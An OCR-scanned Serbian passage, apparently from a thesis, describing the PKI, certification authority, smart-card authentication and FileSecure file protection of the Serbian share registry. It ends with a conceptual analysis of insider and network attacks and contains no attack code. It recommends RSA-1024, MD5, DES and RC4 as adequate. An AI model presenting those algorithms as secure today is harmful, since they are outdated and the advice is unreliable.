koriste¢i kriptografske funkcije realizovane u okviru kriptografskog jezgra
servera.
KPS serveri podrzavaju generisanje sistemskih log fajlova koji u potpunosti
prate saobracaj koji se odvija preko KPS i beleze osnovne informacije kao Sto
su : IP adrese, korisnicko ime i lozinka, vreme dogadaja, itd., svih
realizovanih transakcija. Pored toga, zahvaljujuéi ¢injenici da predstavljaju
sopstveni razvoj, KPS serveri, kao i KPS gateway predstavljaju potpuno
prilagodljiv sistem kako po nameni tako i po veli¢ini koji je moguce potpuno
usaglasiti sa zahtevima korisnika.

4.4.6 UNIVERZALNI SISTEM ZASTITE DATOTEKA

Za realizaciju pouzdane zaStite datoteka koje se Salju od strane berze, brokera ili
banaka, do informacionog sistema Registra akcija i akcionara primenjen je FileSecure
sistem, koji predstavlja Windows aplikaciju. Ona je jednostavna za kori$éenje i sluzi
za zaStitu datoteka na aplikativnom nivou koriS¢enjem asimetricnih 1 simetricnih
kriptografskih algoritama na bazi smart kartica ovlasé¢enih ucesnika. Ovaj sistem
omogucava korisniku koriS¢enje kriptografskih funkcija, kao Sto su Sifrovanje 1
digitalno potpisivanje nad fajlovima koji se prenose koris¢enjem nekog od
opStenamenskih Internet servisa. Naime, zasti¢ene datoteke se mogu prenositi, kao
attachment standardnih e-mail poruka, koris¢enjem bilo kog standardnog paketa za
slanje e-mail poruka ili se mogu kopirati u definisani folder (upload) ili kpirati iz
definisanog u zeljeni folder (download) primenom http ili ftp komunikacije.

Osnovne karakteristike FileSecure sistema su :
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- Digitalni potpis 1 verifikacija fajlova primenom RSA asimetricnog
kriptografskog algoritma sa klju¢em duzine 1024 bita i MDS hashing
algoritma. Moguce su opcije uklju¢ivanja DSA, ECDSA i SHA-1 algoritama.
Tajni klju¢ RSA algoritma se nalazi na smart kartici,

- Sifrovanje i desifrovanje fajlova kori¢enjem standardnih javnih simetri¢nih
algoritama kao Sto su DES, RC4, IDEA, AES i drugi ili simetricnog
algoritma definisanog od strane samog korisnika,

- Primena originalne procedure jake autentifikacije korisnika bazirana na smart
karticama i digitalnim sertifikatima.

Za startovanje implementiranog programskog sistema potrebno je u ¢ita¢ smart
kartica ubaciti odgovaraju¢u smart karticu ovlas¢enog korisnika u mrezi Registra i
uneti odgovarajuce korisnicko ime i lozinku. Nakon toga, jednostavnom primenom
ugradenih kriptografskih funkcija, selekcijom odgovaraju¢ih ikona u meniju
programa, moze se realizovati digitalno potpisivanje i Sifrovanje odgovarajucih
fajlova. Tako zasti¢eni fajlovi se mogu primenom http, ftp ili e-mail servisa prenositi
u okviru posmatrane racunarske mreZe. Jo§ jednom treba naglasiti da su primenom
realizovane aplikacije obezbedene funkcije provere autenti¢nosti subjekta koji je
generisao dati fajl, zaStite integriteta podataka u datom fajlu, nemogucnost
poricanja slanja datog fajla i zaStita tajnosti podataka sadrzanih u datom fajlu.

U programu postoje sledece tri opcije :

1. Digitalno potpisivanje,
2. Digitalno potpisivanje i Sifrovanje,
3. Desifrovanje i verifikacija.

Kada se primenjuje tre¢a opcija, program prethodno proveri da 1li se radi o
Sifrovanom i potpisanom fajlu ili samo o potpisanom fajlu i u tom smislu se izvrsi
deSifrovanje i verifikacija digitalnog potpisa fajla ili samo verifikacija.

4.5 SERIFIKACIONO TELO

Sertifikaciono telo zauzima centralno mesto u PKI sistemu. Osnovna namena
sertifikacionog tela - CA, je generisanje, upravljanje i distribucija kriptografskih
kljuceva 1 digitalnih sertifikata. Digitalni sertifikat predstavlja nedvosmisleni nacin
definisanja identiteta uc¢esnika u komunikaciji. Na njemu se pored ostalih podataka
nalazi i javni klju¢ korisnika, kako je to detaljnije opisano u Appendix-u E.

Treba imati na umu cinjenicu da je bezbednost sertifikacionog tela od suStinske
vaznosti za bezbednost ¢itavog PKI sistema. Ukoliko bi doslo do kompromitovanja
sertifikacionog tela, to bi istovremeno znacilo i kompromitaciju ¢itavog PKI sistema.
Iz navedenih razloga, CA je obezbedeno najviSim stepenom zastite.
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451 AUTENTIFIKACIJA U OKVIRU REGISTRA

Zastita u informacionom sistemu Registra akcija i akcionara je realizovana primenom
kriptografskih modula koji se baziraju na proceduri jake autentifikacije korisnika i na
primeni asimetri¢nih i simetri¢nih kriptografskih algoritama. U cilju autentifikacije
ovlas¢enih korisnika Registra za pristup sistemu koriste se :

1. Smart kartica na kojoj su smeSteni digitalni sertifikati, kao jednoznacni
kriptografski identifikatori, izdati od strane sertifikacionog tela Registra akcija
i akcionara,

2. Korisni¢ko ime i lozinka koji su jedinstveni za pristup bazi i na osnovu kojih
je za svakog korisnika definisano koja prava ima i kojim podacima moZze da
pristupi.

Koris¢enje smart kartica, uz odgovaraju¢u originalnu proceduru autentifikacije na
bazi korisnickog imena i lozinke, za pristup aplikaciji Registra je zasnovano na
¢injenici da takav nadin  autentifikacije predstavlja najsavremeniji i danas
najbezbedniji sistem dvo-komponentne autentifikacije. Tro-komponentni sistemi
autentifikacije koji, pored korisnickog imena, lozinke i smart kartice, ukljucuju i
pojedine biometrijske osobine kao Sto su otisak prsta, zenica oka, itd. ne koriste se u
ovom trenutku jer dostignuti razvoj ovih sistema joS uvek ne nudi zahtevani nivo
pouzdanosti autentifikacije, 5to je u svakom slu¢aju osnovni zahtev u ovom sistemu.

Korisni¢ko ime i lozinka za pristup sistemu se bezbedno dostavljaju do Web servera
Registra koriS¢enjem aplikativne zastitne komponente u okviru SWT sistema i
procedure jake autentifikacije. Na bazi tako, pouzdano i bezbedno, prenesenih
podataka Web server Registra proverava u bazi korisnickih profila da 1i je dati
korisnik validan, tj. da li mu je izdati digitalni sertifikat u vaze¢em periodu i nije
povucen i da li je ovlaséen da koristi zahtevane servise. Ukoliko je verifikacija
uspesna, Web server prosleduje korisnicki zahtev na bezbedan nacin do baze podataka
Registra na dodatnu obradu zahteva.

Obzirom na neophodnost da korisni¢ko ime i lozinka budu jedinstveni u sistemu,
kompletni korisni¢ki profili sa ovim podacima kao i podacima o pravima i
privilegijama pristupa koje dati korisnik ima, ¢uvaju se na jednom mestu i to na
LDAP serveru. Na ovom serveru se ¢uva 1 baza izdatih sertifikata 1 lista povucenih
sertifikata - CRL. Na opisani nacin, usluge LDAP servera se Kkoriste i od strane
sertifikacionog tela.
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45.2 SERTIFIKACIONO TELO | PKISISTEM U OKVIRU REGISTRA

Infrastruktura sistema za primenu javnih kljuceva (PKI sistem) predstavlja
kombinaciju hardverskih i softverskih resursa za realizaciju funkcija sistema sa
primenom javnih kljuceva. Osnovna funkcija PKI sistema posmatrane raCunarske
mreze je pouzdano uspostavljanje digitalnog identiteta svih subjekata u okviru
mreze, definisanog u obliku digitalnog sertifikata. Funkcionalne celine PKI sistema
obezbeduju :

- Poverenje u jednoznacnu vezu izmedu identiteta subjekta 1 javnog kljuca
koji mu je dodeljen Sto se postize putem digitalnog sertifikata,

- NajviSi kriptoloski kvalitet javnih 1 tajnith kljueva za asimetricne
kriptografske algoritme, kao i kljuceva za simetri¢ne kriptografske algoritme,

- Najvisu tajnost generisanih kljuceva.

PKI sistem se sastoji iz slede¢ih komponenti :

1. Sertifikacionog autoriteta, tela - CA, koje izdaje digitalne sertifikate i
reguli$e nacin njihove upotrebe za vreme vaznosti,

2. Registracionih autoriteta, mesta - RA, koja predstavljaju tacke na kojima
se vrsi neposredan kontakt sa subjektima kojima se izdaje digitalni sertifikat,

3. Komunikacionog sistema za razmenu podataka izmedu CA 1 RA, tj.
distribuciju zahteva za izdavanje sertifikata i slanje samih sertifikata,

4. Kriptografskih aplikacija koje svoj rad baziraju na servisima PKI sistema,

Operativnih procedura koje reguliSu rad CAi RA,

6. Subjekata koji stiCu pravo da komuniciraju u okviru mreZznog sistema na
osnovu digitalnih sertifikata koje izdaje CA.

o

CA predstavlja najvisu tacku poverenja u ¢itavom PKI sistemu zasti¢ene ra¢unarske
mreze. Osnovni zadatak CA je da svojim digitalnim potpisom na bazi
asimetriénog kriptografskog algoritma i svog tajnog kljuca, koji mora biti najstroze
cuvana tajna, garantuje vezu izmedu javnog kljuca 1 identiteta subjekta u posmatranoj
mrezi. Svaki subjekat u mrezi ima mogucnost da verifikuje digitalni potpis CA, na
bazi javnog kljuca asimetricnog kriptografskog algoritma CA, Koji je poznat svim
subjektima u okviru mreze. Pored generisanja i izdavanja digitalnih sertifikata, u
nadleznosti CA moze biti i generisanje kljuCeva za asimetrine i simetri¢ne
kriptografske algoritme. Kljucevi asimetriénih kriptografskih algoritama su
jedinstveni za svaki subjekt. Klju¢evi se generiSu i isporucuju subjektima u procesu
registracije. Najbezbedniji nacin isporuke kljuCeva je u vidu sadrZaja zaSti¢ene
memorije smart kartice. CA garantuje jedinstvenost i neponovljivost kriptografskih
kljueva i ostalih identifikacionih elemenata iz sadrzaja digitalnog sertifikata za
svakog subjekta kome se izdaje kartica.
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Digitalni sertifikati predstavljaju element kojim se utvrduje veza izmedu identiteta
subjekta i njegovog javnog kljuca za primenu asimetricnog kriptografskog algoritma.
Raspolaganje javnim klju¢em potpisnika je uslov za pouzdanu verifikaciju
digitalnog potpisa dok strana koja vrsSi verifikaciju digitalnog potpisa mora biti
sigurna da dati javni klju¢ predstavlja kriptografski par sa tajnim klju¢em kojim je
poruka digitalno potpisana. Javni i tajni klju¢ asimetricnog kriptografskog algoritma
su dve neimenovane velike brojcane veli¢ine i nemaju deterministicku vezu sa
identitetom bilo kog pravnog ili fizickog lica. Digitalni sertifikati predstavljaju
mehanizam za pouzdano pridruzivanje tog para brojeva identitetu nekog subjekta i
to na takav nacin da se ta veza ne moZe falsifikovati. Na taj nacin digitalani
sertifikati predstavljaju elektronske pandane nekoj vrsti digitalne li¢ne karte. Imajuéi
na raspolaganju digitalni sertifikat odredenog subjekta, mogucée je izvrsiti
verifikaciju digitalnog potpisa poruka koje taj subjekt potpisuje. Ukoliko je
verifikacija uspesna, verifikator je siguran u integritet poruke, u autenti¢nost njenog
potpisnika i u nemoguénost naknadnog poricanja datog potpisnika za slanje poslate
poruke. U okviru sistema zastite savremenih racunarskh mreza, kao §to je opisano,
digitalni sertifikati se izmedu ostalog mogu primenjivati i za verifikaciju digitalnog
potpisa, kontrolu pristupa subjekata kriptozasticenim aplikacijama i u procedurama
autentifikacije.

Digitalni sertifikat sadrzi sledec¢e osnovne elemente :

Verziju formata sertifikata,

Serijski broj sertifikata,

Identifikator algoritma kojim se vrsi digitalni potpis,

Naziv sertifikacionog tela koje je izdalo sertifikat,

Rok vaznosti sertifikata,

Naziv vlasnika sertifikata,

Javni kljuc,

Odredeni specificni podaci koji se odnose na uslove koriS¢enja
sertifikata,

9. Digitalni potpis sertifikata tajnim klju¢em sertifikacionog tela.

NoGRLOME

Detaljniji pregled X.509 standarda je dat u Appendix-u E. U prethodnom tekstu je
naglasena neophodnost primene asimetricnih sistema u savremenim raunarskim
mreZama radi pouzdanog utvrdivanja identiteta subjekata u zasticenoj komunikaciji.
Ovaj identitet se bezbedno uspostavlja mehanizmom digitalnih sertifikata koje, za
svakog subjekta u mrezi, generiSe i izdaje sertifikaciono telo u okviru PKI sistema
date mreze. Na taj nacin, sertifikaciono telo postaje treca strana od poverenja u
zaSticenoj komunikaciji bilo koja dva ovlaS¢ena subjekta sa izdatim sertifikatom, u
posmatranoj mrezi. U tom smislu, kao Sto je radi izdavanja identifikacionih
dokumenata potrebno prethodno da postoji drzava i njeni nadlezni organi, tako je i u
slucaju koriS¢enja digitalnih sertifikata 1 primene zaStiCenith aplikacija u
racunarskoj mrezi neophodno prethodno pouzdano uspostavljanje funkcija PKI
sistema mreze. Kada se jednom uspostave pouzdane funkcije PKI sistema za
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posmatranu mrezu, tada subjekti svoje digitalne sertifikate mogu koristiti u svim
aplikacijama zastite koje su implementirane u mrezi, Sto je analogno korisc¢enju li¢ne
karte, kao opSteg identifikacionog dokumenta.

Postoji nekoliko tipova CA, od kojih su Cetiri najznacajnija :

1. Pojedina¢na CA na nivou pojedinih preduzeca - corporate CA,

2. CA zatvorenih grupa korisnika,

3. CA vertikalnih industrija kao Sto su finansijski sistemi, medicina, telekom,
itd.,

4. Javna CA koja mogu biti : domaca, strana ili internacionalna.
Posmatrajuci nacin realizacije CA, postoje tri osnovna nacina :

1. Koris¢enje usluga postoje¢eg CA - outsourced CA,

2. lzgradnja sopstvenog CA u okviru posmatrane organizacije na bazi
inostrane CA tehnologije - insourced CA,

3. lzgradnja sopstvenog CA u okviru posmatrane organizacije na bazi
domace CA tehnologije - insourced CA.

Prva moguénost predstavlja najpovoljnije reSenje za preduzece koje zZeli da
implementira PKI tehnologiju isklju¢ivo u svojoj organizaciji, za svoje zaposlene i
saradnike, a pri tom ne Zeli da investira previSe novca u reSenje CA. U tom smislu,
odredene organizacije koje predstavljaju javna medunarodna CA (kao Sto su
GlobalSign i Verisign) nude outsourced CA reSenje u kome oni prakti¢no izdaju
digitalne sertifikate korisnicima date organizacije, koja u tom slu¢aju igra ulogu RA.

Medutim, ukoliko organizacija pretenduje da ima odredene ekonomske koristi od
javne prodaje digitalnih sertifikata zainteresovanim Kkorisnicima iz njihovog
domena, tada su prikladnije druge dve moguénosti realizacije CA. Takvo reSenje je
onda znacajno skuplje od prvog resenja outsourced CA. Od dve navedene insourced
varijante, varijanta koja podrazumeva stranu CA tehnologiju je sigurno skuplja nego
varijanta sa domacom tehnologijom. Sa druge strane, realizacija CA sa domac¢om
tehnologijom omogucéuje adaptivnost 1 skalabilnost reSenja u skladu sa
definisanom politikom zastite.

U okviru realizacije kompletnog CA Registra akcija i akcionara, klju¢na je realizacija
softversko/hardverskog sistema za generisanje digitalnih sertifikata 1 odgovarajucih
kriptografskih kljuceva.

Mehanizmi zastite u okviru Registra se baziraju na X.509 standardnim digitalnim

sertifikatima koje izdaje odgovarajuce sertifikaciono telo. U okviru Registra akcija i
akcionara su moguca dva nacina realizacije sertifikacionog tela :
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1. Realizacija Intermediate CA u okviru Registra, kao jedan nivo ispod u
hijerarhiji prethodno uspostavljenog finansijskog Root CA na nivou
celokupnog finansijskog trzista koji bi se nalazio u Komisiji za hartije od
vrednosti,

2. Realizacija sopstvenog CA u okviru Registra akcija i akcionara, za potrebe
izdavanja digitalnih sertifikata ovlas¢enih uéesnika u sistemu.

Od opisanih moguénosti realizacije, prihvacena je druga opcija. Osnovni razlog lezi u
¢injenici da Komisija za hartije od vrednosti, u ovom trenutku, ne raspolaze potrebnim
kadrovskim i tehnickim potencijalima za realizaciju CA. Iz navedenih razloga
odluceno je da se formira sertifikaciono telo u okviru Registra akcija 1 akcionara, do
formiranja CA na nivou Komisije za hartije od vrednosti.

Kao osnovna komponenta PKI sistema, u okviru Registra akcija i akcionara
implementirano je CA koje izdaje digitalne sertifikate i generiSe odgovarajuce
kljuceve za potrebe rada PKI aplikacija zastite kao Sto su KPS, moduli zaStite Web
komunikacije, moduli zaStite podataka u off-line rezimu - FileSecure,.... Digitalni
sertifikati 1 odgovarajuci kljucevi se isporucuju na smart karticama koje izdaje CA
Registra akcija i akcionara. Ove smart kartice se koriste u okviru ve¢ pomenutih
softverskih reSenja zaStite u okviru komercijanih banaka, kao i ostalih finansijskih
institucija koje su ¢lanovi Registra akcija i akcionara, te uspostavljeni modul RA koji
sluzi za prikupljanje zahteva za izdavanje digitalnih sertifikata za ovlas¢ene
korisnike Registra. Ovi zahtevi se Salju elektronskim putem do CA, na primer : putem
Web komunikacija, digitalno potpisani od ovlaséenog operatera RAO. Digitalni
sertifikati ovlaS¢enih RAO sluzbenika, kao 1 digitalni sertifikati ovlaS¢enih
sluzbenika u okviru CA i odgovaraju¢e smart kartice, moraju se izdati unapred
(tzv. PKI management sertifikati ili infrastrukturni sertifikati).

Osnovni principi na kojima se bazira rad CA Registra su sledeci :

- Arhitektura PKI sistema Registra se sastoji od jednog CA, intermediate ili
root i mreze Registracionih tela - RA, koja se smestaju kod odgovarajuéih
Clanica Registra kao Sto su ovlaS¢eni berzanski posrednici, berza,
komercijalne banke i druge finansijske institucije,

- CA Registra izdaje digitalne sertifikate 1 generiSe odgovarajuce kljuceve.
Asimetri¢ni klju¢evi su duzina minimalno 1024 bita, a mogu biti i duzi i
to 2048, ili 4096 bita, dok su simetri¢ni klju¢evi minimalne duZine 256
bita. Generisanje PIN brojeva za potrebe zasticene komunikacije u okviru
informacionog sistema Registra, izdate 1 povucene sertifikate objavljuje na
LDAP serveru sa kojim mogu da komuniciraju svi u¢esnici u mrezi,

- CA Registra je potpuno fleksibilno i skalabilno, kako softversko, tako i
hardversko reSenje, koje je u potpunosti u skladu sa vaze¢im
medunarodnim standardima,

- CA Registra ispunjava sve uslove za rad sertifikacionog tela koji su
navedeni u preporukama Evropske unije o elektronskom potpisu. Obzirom
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da je CA samostalno, podnece zahtev za akreditacijom nadleznom organu
u skladu sa Zakonom o elektronskom potpisu kada se za to budu stekli
uslovi, odnosno kada budu doneta sva potrebna podzakonska akta,

- CA Registra izdaje digitalne sertifikate 1 odgovarajuce klju¢eve na smart
karticama,

- CA Registra svoj rad bazira na primeni najvisih proceduralno-fizickih mera
bezbednosti, kao i najvisih tehnickih mera zastite tajnih kljuceva CA.
Takode su koris¢eni hardverski kriptografski moduli - HSM kao i
distribuiran sistem odgovornosti za tajni klju¢ CA,

- U PKI sistemu Registra se koriste dva para asimetricnih klju¢eva za
korisnike sistema. Jedan par se koristi za realizaciju digitalnog
potpisivanja koji se u cilju realizacije funkcije neporecivosti generiSe na
smart kartici, a drugi par se Koristi za Sifrovanje simetri¢nog kljuca u
proceduri digitalne anvelope. Drugi par kljuceva se generiSe od strane
CA, arhivira se za potrebe naknadnog oporavka =zasticenih poruka,
deSifrovanja poruka, u slucaju sluzbene potrebe ili gubitka tajnog kljuca
od strane korisnika. Oba para asimetri¢nih kljuéeva, kao i oba sertifikata se
generiSu i programiraju u smart kartici u okviru CA Registra, pri ¢emu se
tajni klju¢ za digitalno potpisivanje ¢uva. Alternativno reSenje je da se
dopersonalizacija smart kartice asimetri¢nim parom kljuceva i digitalnim
sertifikatom za digitalno potpisivanje realizuje u okviru RA - kod ¢lana
Registra, sa mesta odakle je upucen zahtev za izdavanjem sertifikata.
Medutim, ono se za sada ne koristi,

- Za potrebe CA Registra akcija i akcionara se razvija Web portal server
koji ¢e sluziti da bi se publikovale sve relevantne informacije o radu
CA, tj. repozitorijum svih neophodnih dokumenata koja su potrebna radu
javnog CA : politika izdavanja sertifikata, CPS, sporazumi za
odgovarajuce grupe
korisnika,... Web portal ¢e imati dodatnu funkcionalnost zastiCenog
prijema zahteva za izdavanjem sertifikata preko Interneta odnosno
Intraneta.

U Registru akcija i akcionara je formirano kompletno sertifikaciono telo ¢iji je rad u
potpunosti u skladu sa Zakonom o elektronskom potpisu. U poc¢etnom periodu rada
CA bio je implementiran funkcionalni sistem sertifikacionog tela, bazna instalacija,
koji je izdavao digitalne sertifikate za potrebe Registra. Funkcionalni sistem CA
predstavlja osnovu kompletnog CA reSenja i poseduje minimalnu funkcionalnost koja
je obezbedivala regularan rad Registra akcija 1 akcionara. Funkcionalni sistem CA se
svodi na centralizovano softversko, odnosno hardversko reSenje u okviru Registra
koje obezbeduje punu kriptografsku funkcionalnost u smislu bezbednog
generisanja digitalnih sertifikata 1 dvostrukog para asimetri¢nih kljuc¢eva korisnika,
ali bez distribuiranih Registracionih autoriteta i Web portala CA. Funkcionalni
sistem CA predstavlja osnovu ili telo kona¢ne varijante kompletnog CA Registra
akcija i akcionara koje zadovoljava sve kriterijume za rad CA iz Evropske direktive i
Zakona o elektronskom potpisu i koje ¢e se mo¢i akreditovati u skladu sa Zakonom.
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Na kraju, treba naglasiti da funkcionalni sistem CA Registra omoguc¢ava nesmetan
rad i punu funkcionalnost Registra akcija i akcionara, bez distribuiranih RA
aplikacija, do formiranja jedinstvenog CA za finansijske institucije na nivou drzave.
Funkcionalni sistem predstavlja osnovu i1 jedan od modula kona¢nog i kompletnog
CA Registra akcija 1 akcionara koje bi se realizovalo ukoliko ne dode do realizacije
jedinstvenog CA za finansijske institucije.
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GLAVA 5

ANALIZA MOGUCIH NAPADA NA SISTEM

Nesporna je ¢injenica da podaci koji se ¢uvaju i obraduju u Registru akcija i akcionara
predsatavljaju bezbednosno veoma osetljive podatke. Podaci u bazi podataka
predstavljaju dokument o vlasniStvu, te im se iz tih razloga mora posvetiti narocita
paznja. Posebno treba imati u vidu ¢injenicu da podaci o vlasni$tvu nad kapitalom
preduzeca nisu javni podaci, pa je njihova zastita imperativ. U zakonodavstvu nekih
zemalja su podaci o vlasnicima javni, ali se ipak mogu menjati isklju¢ivo od strane
ovlascenih lica.

Radi ilistracije mogucih posledica napada, pretpostavimo da je potencijalni napadac
na sistem uspeo da dode do dela podataka ili ¢ak kompletnih podataka o vlasnickoj
strukturi barem za jedno preduzece. Dobijene informacije bi znaajno uticale na
eventualno donosSenje odluke o eventualnoj kupovini akcija firme, koja je predmet
interesovanja i time se ostvarila ekonomska dobit.

U slucaju da napadac uspe da pristupi bazi podataka u smislu izmene samih podataka,
posledice bi bile daleko teze. Neovlas¢enom izmenom podataka doslo bi do potpune
konfuzije u vlasnic¢koj strukturi, Sto bi izazvalo opStu pravnu i imovinsku nesigurnost
sa dalekoseZznim posledicama. 1z navedenog primera proizilazi nesporna ¢injenica da
podaci moraju biti najstroze ¢uvani, pogotovo od neovlas¢enih izmena. Poredenja
radi, zamislimo kakva bi se pometnja izazvala neovlaséenim izmenama u zemljiSnim
knjigama, jer se tada ne bi moglo utvrditi ko zapravo Sta poseduje.

Kao mera predostroznosti, preduzete su radnje na sprovodenju analiza mogucih
napada na sistem. Analize imaju za cilj da predvide moguce napade na sistem i da ih
preduprede, u najve¢oj mogucoj meri. Svakako, ni jednog trenutka se ne sme dozvoliti
prestanak nadgledanja rada sistema, jer bi napada¢ to mogao efikasno iskoristiti.
Posebno treba imati na umu ¢injenicu da 92% svetskih firmi prijavi godiSnje najmanje
jedan uspeSan napad na sistem [39].

Veoma bitan faktor prilikom sagledavanja moguénosti napada na informacioni

sistem predstavlja analiza potencijalnih napadaca. Treba imati na umu da su za
napad na informacioni sistem, putem interneta, dostupni raznovrsni sofisticirani
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alati. Znacajnu grupu alata, koji se mogu koristiti za napad na sistem, predstavljaju
port skeneri. To su alati koji ispituju sve portove na rac¢unaru, kao i namenu i
funkciju svakog od njih. Znacéajna informacija koja se moze dobiti kori§¢enjem port
skenera je saznanje da li je posmatrani port otvoren ili zatvoren i ako je otvoren da li
ga koristi neki od servisa ili je otvoren bez svrhe. Svaki otvoreni port, narocito ako
je otvoren nenamenski, mozZe se iskoristiti za neovla$¢eni pristup racunarskim
resursima. Port skeneri se mogu koristiti i kao defanzivno sredstvo, u smislu
skeniranja sopstvenih portova radi uo¢avanja nenamenski otvorenih portova.

Istovremeno se uocava sve manja potreba za vrhunskim znanjem samog napadaca, iz
razloga postojanja sve savrSenijih alata za napad, kako je opisano. Na sledecoj slici
je prikazan porast savrSenosti alata za napad, kao i smanjenje potrebnih znanja za
njihovo koris¢enje [40] :

1990 1991 1992 1993 1994 1995 1996 1997 1998 1999 2000 2001

CERT Coardination Gintor Copryeight 19060-2001
e BTG Camogss Mellen Univorsity

Slika 5.1 Graficki prikaz porasta kvaliteta softvera za napad na sistem
uz istovremeni pad neophodnog znanja za napad na informacioni sistem

5.1 NAPADI SA INSAJDERSKIM INFORMACIJAMA

Oslanjajuci se na statistikCke podatke, u onoj meri u kojoj organizacije koje koriste
raCunarske sisteme Zele to da priznaju, veéina napada na informacione sisteme dolazi
od samih zaposlenih. Prema nekim dostupnim izvorima [41] taj procenat se krec¢e oko
55%. Prema istim izvorima na spoljasnje napade otpada oko 30%, dok oko 15% Cine
kombinovani napadi.
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Podaci takode ukazuju na cinjenicu da oko 80% zaposlenih koji su nezadovoljni
svojim statusom u organizaciji, svoje nezadovoljstvo iskazuju napadom na sopstveni
informacioni sistem. Jedan broj insajderskih napada je rezultat nehoti¢nih akcija koje
preduzimaju korisnici sistema iz razloga radoznalosti. Pomenute akcije se mogu
dobrim delom spreciti kvalitetnim administriranjem sistema.

Imajuéi sve navedeno u vidu, posebna paznja u Registru akcija i akcionara posvecena
je zastiti od samih ovlas¢enih korisnika sistema.

5.1.1 KOMPROMITOVANJE BEZBEDNOSNIH PARAMETARA

Cesto se ovlaiéeni korisnici sistema nesavesno odnose prema kriptografskim
parametrima koji su im povereni. Tu se pre svega misli na propuste kao Sto su :

- gubljenje smart kartice,

- zapisivanje kriptoloSkih parametara (PIN, korisnicko ime, lozinka,...) na
mestima dostupnim drugim licima,

- Cuvanje smart kartice 1 zapisanih kriptoloSkih parametara u neposrednoj
blizini,...

Otkrivanje svog korisnickog imena i lozinke, kao i PIN koda predstavljaju znacajne
podatke za potencijalnog napadaca. Pogotovo, ukoliko korisnik ustupi svoju Kkarticu
drugom korisniku, ovlaséenom ili neovlas¢enom, na koriS¢enje. Tada su napadacu
otvoreni svi putevi ka sistemu, u okviru ingerencija korisnika ¢iji su kriptografski
paramteri kompromitovani.

5.1.2 UPOTREBA KOMPROMITOVANIH BEZBEDNOSNIH
PARAMETARA

Ukoliko dode do kompromitovanja kriptografskih parametara na opisani nacin, u
pitanje se dovodi bezbednost celokupnog sistema. Pod pretpostavkom da napadac
dode u posed nekih, ali ne 1 svih parametara, u tom slu¢aju ne poseduje mehanizme za
pokretanje procesa autentifikacije. | dalje mu problem predstavlja nepoznavanje
drugih parametara.

Kao ilustracija iznetog moze posluziti primer da napada¢ pronade izubljenu karticu,
ali i dalje nema informaciju o PIN kodu, korisni¢kom imenu i lozinki, pa se iz tih
razloga ne moze prijaviti na sistem.

Medutim, imajué¢i u vidu da u ovom poglavlju govorimo o insjderskim napadima,

moguce je da je napadac, koji je zaposlen u Registru, uspeo na neki nacin da dode do
pomenutih parametara za logovanje na sistem, bilo u razgovoru sa korisnikom ¢ije
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parametre koristi, bilo pazljivim pradenjem unosa parametara prilikom logovanja.
Kada se pomenuti parametri kompromituju, dalji upad u sistem tece bez ikakvih
problema, jer se napadac krece po sistemu sasvim legalno.

Sli¢na situacija bi se mogla dogoditi 1 namernim davanjem kriptografskih elemenata
treCem licu, Sto je takode jedna vrsta insajderskog napada. Ova situacija je donekle
oteZana ¢injenicom da je je pristup prostorijama kontrolisan kamerama, ali ni to nije
nepremostiv problem. Poslednji deo ve¢ spada u domen klasi¢nog kriminala.

5.1.3 NACINI SPRECAVANJA INSAJDERSKIH NAPADA

Insajderski napadi se spreCavaju pre svega organizacionim merama, tj. stalnom
proverom 1 preispitivanjem zaposlenih u Registru. Selekcija pocinje ve¢ prilikom
zapoSljavanja osoba u Registru, a revidiranje njihovih aktivnosti neprekidno traje.
Potrebno je na vreme uociti 1 otkloniti motive pojedinih zaposlenih za napad na
sistem. Moguce je da se radi o licnim frustracijama ili nezadovoljstvu na poslu, kao
Sto je nezadovoljstvo statusom, platom ili zbog uskra¢ivanja odredenih povlastica.
Motiv takode moze biti konflikt izmedu pojedinih zaposlenih, pa se naruSavanje
integriteta sistema izvodi radi nanoSenja Stete drugom zaposlenom.

Takode je neophodna neprekidna kontrola i analiza fajlova u kojima se beleze sve
aktivnosti koje se odvijaju u informacionom sistemu. Ukoliko se uoci bilo kakva
nepredvidena ili nedozvoljena aktivnost neophodno je odmah reagovati. Neophodna je
i redovna kontrola pristupa prostorijama Registra. Prvenstveno se misli na kontrolu
log fajlova optickih citaca koji se nalaze na ulazu u svaku prostoriju, dok se sam
racunar nalazi na posebno obezbedenom mestu. Pored toga, mora se vrsiti redovno
pregledanje video zapisa na sistemu kamera za pracenje aktivnosti u prostorijama
Registra akcija i akcionara.

5.2 NAPADI KROZ KOMUNIKACIONU MREZU
AGENCIJE ZA PRIVATIZACIJU

Iz objektivnih razloga, Registar akcija i akcionara je lokacijski smeSten u prostorijama
Agencije za privatizaciju. Kao §to je ve¢ ranije napomenuto, Agencija za privatizaciju
nije trajna institucija, ve¢ je vremenski orocena trajanjem procesa privatizacije. Iz tih
razloga nije racionalno obezbediti poseban objekat za smeStanje Agencije za
privatizaciju, ve¢ je ona smestena u zgradi Privredne komore Srbije.

Treba konstatovati Cinjenicu da je zgrada privredne komore Srbije opremljena
jedinstvenom mreznom infrastrukturom. LAN Agencije za privatizaciju, a samim tim i
Registra akcija i akcionara, predstavlja umrezeni podsistem jedinstvenog lokacijskog
mreznog sistema. Iz navednog se uocava ocigledna mogucénost napada kroz pomenutu
mreZu, bez potrebe fizi€kog pristupa prostorijama Registra akcija i1 akcionara.
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5.2.1 OPIS MREZE U AGENCIJI ZA PRIVATIZACIJU

Agencija za privatizaciju se nalazi u zgradi sa jedinstvenom raCunarskom
instalacijom. MreZa je razdeljena po spratovima zgrade, a na svakom spratu se nalazi
lokalno c¢voriSte smeSteno u prostoriji sa posebnom zaStitom, u namenski
projektovanim ormarima. U pomenutim ormarima se nalaze inteligentni switch-evi
klase L2 i L3. Od svakog ¢vorista polazi lokalna mreza za pojedini sprat.
Implementirani switch-evi su zapravo ruteri koji omogucavaju formiranje virtuelnih
mreza.

Virtuelna mreza predstavlja segment u okviru realne mreze. Ukoliko se na virtuelnoj
mrezi instalira domen kontroler, virtuelna mreza se vidi kao izolovana fizicka mreza.
Nije moguce pristupiti ostalim delovima realne fizicke mreze posmatrajuci je kroz
uspostavljeni domen. Iskljuc¢iva kontrola virtuelnih mreZa se vrsi putem konfigurisanja
switch-eva.

U okviru jedne virtuelne mreze moguce je podi¢i jedan ili vise domena, koji se
ponaSaju u skladu sa pravilima domenske kontrole pristupa resursima. Posebno
interesantna mogucénost je formiranje vise virtuelnih mreza koje se medusobno
preklapaju, delimi¢no ili potpuno. Prilikom konfigurisanja ovakve mogucénosti, treba
biti veoma oprezan. Ukoliko se desi i najmanji propust u definisanju medusobnih
relacija, moze se desiti da ostane otvoren prostor za napad na informacioni sistem
